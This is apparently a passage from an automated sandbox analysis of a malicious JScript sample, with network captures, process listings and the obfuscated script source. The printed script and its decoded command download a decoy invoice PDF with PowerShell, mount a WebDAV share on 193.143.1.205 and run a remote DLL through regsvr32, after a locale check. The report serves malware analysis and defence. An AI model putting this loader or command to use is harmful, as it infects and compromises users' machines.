Jan 10, 2025 23:16:46.313499928 CET	1.1.1.1	192.168.2.6	0x3b80	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:16:46.313499928 CET	1.1.1.1	192.168.2.6	0x3b80	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49716	193.143.1.205	80	7116	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:15:31.763658047 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 23:15:32.592349052 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:15:32 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 23:15:32.592391014 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 23:15:32.592403889 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 23:15:32.592420101 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 23:15:32.592524052 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 23:15:32.592535973 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 10, 2025 23:15:32.592547894 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 10, 2025 23:15:32.592562914 CET	1236	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 10, 2025 23:15:32.592672110 CET	1236	IN	Data Raw: d6 ec 57 ea 24 3a fb 50 32 22 1a 86 48 49 a2 9a 99 9f 0d 33 90 34 50 59 de fb 5c 31 fb 7b 7d a2 2a ac 30 d5 63 aa 3a 83 96 53 a3 19 21 34 f9 2c ac 66 7a 78 36 97 1d 17 9d 22 34 cb 54 73 13 8e 7e e3 b1 7e ae 7c ab 35 17 66 de 8a 95 eb 55 47 4b 68 Data Ascii: W$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=
Jan 10, 2025 23:15:32.592684984 CET	1220	IN	Data Raw: f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d Data Ascii: \|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY
Jan 10, 2025 23:15:32.628238916 CET	1236	IN	Data Raw: 31 30 30 30 0d 0a 63 aa 7a 67 af 6c ee 35 c3 aa be cf 86 87 4b 7e e7 94 2b 6d 78 d0 64 61 6a d5 b4 da d1 76 66 4a 68 18 6a 0b cf 98 ee 7a b9 e1 50 d3 43 ef dd 09 b6 e9 8d 5a 99 e6 f5 51 a7 7e a6 2f b7 f1 d5 2c cb 95 24 6a 8e 58 35 f9 2c 37 16 9a Data Ascii: 1000czgl5K~+mxdajvfJhjzPCZQ~/,$jX5,7+Bf\|HQf;^Nk2.~k]4?.5nla8Tb+pkZ-}z:C`ItH&7'ilG?Y27

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49729	193.143.1.205	8888	5772	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:15:33.927045107 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 23:15:34.756643057 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:15:34 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	17:15:27
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\122388091976711996.js"
Imagebase:	0x7ff792fa0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:15:28
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll
Imagebase:	0x7ff762750000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:15:28
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:15:28
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	17:15:32
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	17:15:32
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff762750000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:15:32
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff79ac30000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:15:33
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	17:15:33
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	17:15:33
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1620,i,13840923630439036011,16229105474235318139,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function urdljrvch() {	urdljrvch() ➔ undefined
1	bfnhedvq = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var gsieg = this[gaznjs + xmnxowp + rgdfzvzf + yjrfx + qtynscq + mgkrab + uwkuddty + jxtyitsq] ( this[rhgyn + oeiwwtajq + jgioydr + rgdfzvzf + ocmvprmp + gaznjs + jxtyitsq][zekpte + rgdfzvzf + qtynscq + xmnxowp + jxtyitsq + qtynscq + quoapau + yezczuo + yldvhs + qtynscq + jgioydr + jxtyitsq] ( rhgyn + oeiwwtajq + jgioydr + rgdfzvzf + ocmvprmp + gaznjs + jxtyitsq + kncfb + oeiwwtajq + irjupuxap + qtynscq + vvugigm + vvugigm ) [sbxkwf + qtynscq + nrwedc + sbxkwf + qtynscq + xmnxowp + dooadwt] ( ebtnbk + ofbgj + vtfurcfl + zspjwouc + qxtbt + zekpte + bxhypur + sbxkwf + sbxkwf + vtfurcfl + lokasxj + teopb + qxtbt + bxhypur + oeiwwtajq + vtfurcfl + sbxkwf + pkykl + zekpte + asccudh + uwkuddty + jxtyitsq + rgdfzvzf + asccudh + vvugigm + kutubdq + ezcpg + xmnxowp + uwkuddty + qtynscq + vvugigm + pkykl + mgkrab + uwkuddty + jxtyitsq + qtynscq + rgdfzvzf + uwkuddty + xmnxowp + jxtyitsq + ocmvprmp + asccudh + uwkuddty + xmnxowp + vvugigm + pkykl + nbxikrzas + asccudh + jgioydr + xmnxowp + vvugigm + qtynscq ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( nnoykdpp = 0 ; nnoykdpp < bfnhedvq[vvugigm + qtynscq + uwkuddty + nrwedc + jxtyitsq + irjupuxap] ; ++ nnoykdpp )
4	{
5	if ( gsieg == bfnhedvq[nnoykdpp] )
6	{
7	gsieg = true;
8	break ;
9	}
10	}
11	if ( gsieg !== true )
12	this[rhgyn + oeiwwtajq + jgioydr + rgdfzvzf + ocmvprmp + gaznjs + jxtyitsq][dvkqghqbs + iyszqr + ocmvprmp + jxtyitsq] ( );
13	this[rhgyn + oeiwwtajq + jgioydr + rgdfzvzf + ocmvprmp + gaznjs + jxtyitsq][zekpte + rgdfzvzf + qtynscq + xmnxowp + jxtyitsq + qtynscq + quoapau + yezczuo + yldvhs + qtynscq + jgioydr + jxtyitsq] ( rhgyn + oeiwwtajq + jgioydr + rgdfzvzf + ocmvprmp + gaznjs + jxtyitsq + kncfb + oeiwwtajq + irjupuxap + qtynscq + vvugigm + vvugigm ) [rgdfzvzf + iyszqr + uwkuddty] ( jgioydr + rfvbkic + dooadwt + kutubdq + mktfdwgh + jgioydr + kutubdq + gaznjs + asccudh + rmfoeyc + qtynscq + rgdfzvzf + yjrfx + irjupuxap + qtynscq + vvugigm + vvugigm + kncfb + qtynscq + rwkfgg + qtynscq + kutubdq + coymqy + zekpte + asccudh + rfvbkic + rfvbkic + xmnxowp + uwkuddty + dooadwt + kutubdq + qtfcia + mgkrab + uwkuddty + wooklhl + asccudh + qoxndigc + qtynscq + coymqy + rhgyn + qtynscq + yezczuo + sbxkwf + qtynscq + dwcfwi + iyszqr + qtynscq + yjrfx + jxtyitsq + kutubdq + coymqy + quoapau + iyszqr + jxtyitsq + otpsldzg + ocmvprmp + vvugigm + qtynscq + kutubdq + okwuirav + jxtyitsq + qtynscq + rfvbkic + gaznjs + okwuirav + pkykl + ocmvprmp + uwkuddty + wooklhl + asccudh + ocmvprmp + jgioydr + qtynscq + kncfb + gaznjs + dooadwt + vjfbw + kutubdq + irjupuxap + jxtyitsq + jxtyitsq + gaznjs + caamnvt + mktfdwgh + mktfdwgh + vlbpjfy + urvxfiy + gdbxmhknz + kncfb + vlbpjfy + vrwkkm + gdbxmhknz + kncfb + vlbpjfy + kncfb + jdqsad + vxliyh + fxxug + mktfdwgh + ocmvprmp + uwkuddty + wooklhl + asccudh + ocmvprmp + jgioydr + qtynscq + kncfb + gaznjs + irjupuxap + gaznjs + qtfcia + nxgsg + nxgsg + yjrfx + jxtyitsq + xmnxowp + rgdfzvzf + jxtyitsq + kutubdq + okwuirav + jxtyitsq + qtynscq + rfvbkic + gaznjs + okwuirav + pkykl + ocmvprmp + uwkuddty + wooklhl + asccudh + ocmvprmp + jgioydr + qtynscq + kncfb + gaznjs + dooadwt + vjfbw + nxgsg + nxgsg + jgioydr + rfvbkic + dooadwt + kutubdq + mktfdwgh + jgioydr + kutubdq + uwkuddty + qtynscq + jxtyitsq + kutubdq + iyszqr + yjrfx + qtynscq + kutubdq + pkykl + pkykl + vlbpjfy + urvxfiy + gdbxmhknz + kncfb + vlbpjfy + vrwkkm + gdbxmhknz + kncfb + vlbpjfy + kncfb + jdqsad + vxliyh + fxxug + njsxgn + geumb + geumb + geumb + geumb + pkykl + dooadwt + xmnxowp + wooklhl + rmfoeyc + rmfoeyc + rmfoeyc + rgdfzvzf + asccudh + asccudh + jxtyitsq + pkykl + nxgsg + nxgsg + jgioydr + rfvbkic + dooadwt + kutubdq + mktfdwgh + jgioydr + kutubdq + rgdfzvzf + qtynscq + nrwedc + yjrfx + wooklhl + rgdfzvzf + gdbxmhknz + jdqsad + kutubdq + mktfdwgh + yjrfx + kutubdq + pkykl + pkykl + vlbpjfy + urvxfiy + gdbxmhknz + kncfb + vlbpjfy + vrwkkm + gdbxmhknz + kncfb + vlbpjfy + kncfb + jdqsad + vxliyh + fxxug + njsxgn + geumb + geumb + geumb + geumb + pkykl + dooadwt + xmnxowp + wooklhl + rmfoeyc + rmfoeyc + rmfoeyc + rgdfzvzf + asccudh + asccudh + jxtyitsq + pkykl + jdqsad + vlbpjfy + jdqsad + akamczc + fxxug + jdqsad + jpwke + vxliyh + gdbxmhknz + vrwkkm + gdbxmhknz + vlbpjfy + vxliyh + fxxug + gdbxmhknz + kncfb + dooadwt + vvugigm + vvugigm, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll",0,false) ➔ 0
14	}
15	vlbpjfy = "W";
16	vlbpjfy = "N";
17	vlbpjfy = "a";
18	vlbpjfy = "T";
19	vlbpjfy = "C";
20	vlbpjfy = "C";
21	vlbpjfy = "x";
22	vlbpjfy = "s";
23	vlbpjfy = "a";
24	vlbpjfy = "D";
25	vlbpjfy = "d";
26	vlbpjfy = "I";
27	vlbpjfy = "W";
28	vlbpjfy = "u";
29	vlbpjfy = "m";
30	vlbpjfy = "s";
31	vlbpjfy = "D";
32	vlbpjfy = "l";
33	vlbpjfy = "L";
34	vlbpjfy = "h";
35	vlbpjfy = "1";
36	dwcfwi = "N";
37	dwcfwi = "M";
38	dwcfwi = "A";
39	dwcfwi = "R";
40	dwcfwi = "K";
41	dwcfwi = "f";
42	dwcfwi = "j";
43	dwcfwi = "r";
44	dwcfwi = "E";
45	dwcfwi = "s";
46	dwcfwi = "q";
47	dwcfwi = "S";
48	dwcfwi = "k";
49	dwcfwi = "r";
50	dwcfwi = "T";
51	dwcfwi = "M";
52	dwcfwi = "f";
53	dwcfwi = "H";
54	dwcfwi = "v";
55	dwcfwi = "R";
56	dwcfwi = "F";
57	dwcfwi = "N";
58	dwcfwi = "E";
59	dwcfwi = "D";
60	dwcfwi = "u";
61	dwcfwi = "C";
62	dwcfwi = "Q";
63	dwcfwi = "z";
64	dwcfwi = "q";
65	gdbxmhknz = "K";
66	gdbxmhknz = "w";
67	gdbxmhknz = "n";
68	gdbxmhknz = "J";
69	gdbxmhknz = "D";
70	gdbxmhknz = "M";
71	gdbxmhknz = "Z";
72	gdbxmhknz = "k";
73	gdbxmhknz = "v";
74	gdbxmhknz = "v";
75	gdbxmhknz = "u";
76	gdbxmhknz = "X";
77	gdbxmhknz = "n";
78	gdbxmhknz = "V";
79	gdbxmhknz = "g";
80	gdbxmhknz = "b";
81	gdbxmhknz = "r";
82	gdbxmhknz = "W";
83	gdbxmhknz = "r";
84	gdbxmhknz = "3";
85	gaznjs = "o";
86	gaznjs = "e";
87	gaznjs = "f";
88	gaznjs = "W";
89	gaznjs = "V";
90	gaznjs = "M";
91	gaznjs = "u";
92	gaznjs = "e";
93	gaznjs = "b";
94	gaznjs = "l";
95	gaznjs = "T";
96	gaznjs = "v";
97	gaznjs = "f";
98	gaznjs = "f";
99	gaznjs = "O";
100	gaznjs = "p";
101	lokasxj = "S";
102	lokasxj = "N";
103	lokasxj = "S";
104	lokasxj = "w";
105	lokasxj = "f";
106	lokasxj = "B";
107	lokasxj = "j";
108	lokasxj = "Z";
109	lokasxj = "M";
110	lokasxj = "L";
111	lokasxj = "x";
112	lokasxj = "J";
113	lokasxj = "r";
114	lokasxj = "s";
115	lokasxj = "M";
116	lokasxj = "e";
117	lokasxj = "u";
118	lokasxj = "g";
119	lokasxj = "x";
120	lokasxj = "z";
121	lokasxj = "O";
122	lokasxj = "P";
123	lokasxj = "A";
124	lokasxj = "N";
125	vxliyh = "H";
126	vxliyh = "H";
127	vxliyh = "Y";
128	vxliyh = "u";
129	vxliyh = "d";
130	vxliyh = "x";
131	vxliyh = "L";
132	vxliyh = "R";
133	vxliyh = "y";
134	vxliyh = "a";
135	vxliyh = "P";
136	vxliyh = "j";
137	vxliyh = "e";
138	vxliyh = "N";
139	vxliyh = "A";
140	vxliyh = "G";
141	vxliyh = "g";
142	vxliyh = "P";
143	vxliyh = "N";
144	vxliyh = "f";
145	vxliyh = "O";
146	vxliyh = "K";
147	vxliyh = "K";
148	vxliyh = "w";
149	vxliyh = "Y";
150	vxliyh = "z";
151	vxliyh = "L";
152	vxliyh = "f";
153	vxliyh = "F";
154	vxliyh = "Z";
155	vxliyh = "U";
156	vxliyh = "V";
157	vxliyh = "V";
158	vxliyh = "Z";
159	vxliyh = "k";
160	vxliyh = "0";
161	caamnvt = "s";
162	caamnvt = "w";
163	caamnvt = "c";
164	caamnvt = "J";
165	caamnvt = "b";
166	caamnvt = "Y";
167	caamnvt = "h";
168	caamnvt = "R";
169	caamnvt = "o";
170	caamnvt = "v";
171	caamnvt = "x";
172	caamnvt = "V";
173	caamnvt = "n";
174	caamnvt = "h";
175	caamnvt = "S";
176	caamnvt = "F";
177	caamnvt = "E";
178	caamnvt = "U";
179	caamnvt = "N";
180	caamnvt = "D";
181	caamnvt = "G";
182	caamnvt = "G";
183	caamnvt = "P";
184	caamnvt = "E";
185	caamnvt = ":";
186	vjfbw = "O";
187	vjfbw = "Y";
188	vjfbw = "I";
189	vjfbw = "Y";
190	vjfbw = "r";
191	vjfbw = "D";
192	vjfbw = "R";
193	vjfbw = "E";
194	vjfbw = "H";
195	vjfbw = "j";
196	vjfbw = "T";
197	vjfbw = "Q";
198	vjfbw = "Z";
199	vjfbw = "D";
200	vjfbw = "A";
201	vjfbw = "d";
202	vjfbw = "f";
203	okwuirav = "h";
204	okwuirav = "q";
205	okwuirav = "H";
206	okwuirav = "t";
207	okwuirav = "D";
208	okwuirav = "R";
209	okwuirav = "w";
210	okwuirav = "I";
211	okwuirav = "Z";
212	okwuirav = "U";
213	okwuirav = "K";
214	okwuirav = "d";
215	okwuirav = "s";
216	okwuirav = "z";
217	okwuirav = "B";
218	okwuirav = "j";
219	okwuirav = "z";
220	okwuirav = "o";
221	okwuirav = "B";
222	okwuirav = "L";
223	okwuirav = "%";
224	ocmvprmp = "F";
225	ocmvprmp = "f";
226	ocmvprmp = "L";
227	ocmvprmp = "U";
228	ocmvprmp = "S";
229	ocmvprmp = "j";
230	ocmvprmp = "l";
231	ocmvprmp = "A";
232	ocmvprmp = "H";
233	ocmvprmp = "J";
234	ocmvprmp = "l";
235	ocmvprmp = "e";
236	ocmvprmp = "C";
237	ocmvprmp = "J";
238	ocmvprmp = "d";
239	ocmvprmp = "u";
240	ocmvprmp = "H";
241	ocmvprmp = "Q";
242	ocmvprmp = "Z";
243	ocmvprmp = "F";
244	ocmvprmp = "Z";
245	ocmvprmp = "B";
246	ocmvprmp = "L";
247	ocmvprmp = "r";
248	ocmvprmp = "K";
249	ocmvprmp = "N";
250	ocmvprmp = "l";
251	ocmvprmp = "Y";
252	ocmvprmp = "i";
253	ocmvprmp = "Z";
254	ocmvprmp = "x";
255	ocmvprmp = "Y";
256	ocmvprmp = "D";
257	ocmvprmp = "h";
258	ocmvprmp = "G";
259	ocmvprmp = "y";
260	ocmvprmp = "i";
261	yjrfx = "C";
262	yjrfx = "a";
263	yjrfx = "r";
264	yjrfx = "T";
